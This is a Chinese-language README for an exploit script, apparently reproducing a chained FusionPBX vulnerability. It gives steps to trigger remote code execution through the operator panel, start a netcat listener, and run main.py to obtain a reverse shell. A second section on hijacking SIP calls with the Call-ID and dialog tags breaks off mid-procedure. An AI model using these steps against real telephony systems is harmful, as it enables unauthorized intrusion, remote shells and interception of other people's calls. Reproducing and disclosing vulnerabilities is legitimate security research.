前言

这段简单的代码试图完整实现由Dustin Cobb在使用来电显示实现RCE – FusionPBX的多个漏洞中介绍的链式漏洞。

远程代码执行

复现步骤

1. 在Web浏览器中查看存在漏洞的操作员屏幕，本例位于 https://{fusionpbx_address}/app/operator_panel/index.php
2. 在远程系统（rce_listener_address）上启动一个netcat监听器.x`
3. 在远程系统的另一个终端窗口中运行下面的漏洞利用代码 python3 .\main.py --close_rce_sockets False --attacker_address {attacker_address} --fusion_pbx_address {fusion_pbx_address} --rce_listener_address {rce_listener_address}
4. 漏洞利用代码将连接到netcat监听器并提供一个反向Shell

替换通话

当我们知道一个通话的Call-ID、from-tag和to-tag时，运行下面的代码将把您替换为通话中的受害者。

复现步骤

1. 首先在两个SIP用户代理之间发起一个通话。
2. 通话建立后，我们需要通过连接 {Call-ID}{semicolon}"to-teg:"{to-tag}"from-tag"{from-tag} 来构造dialog_identifier。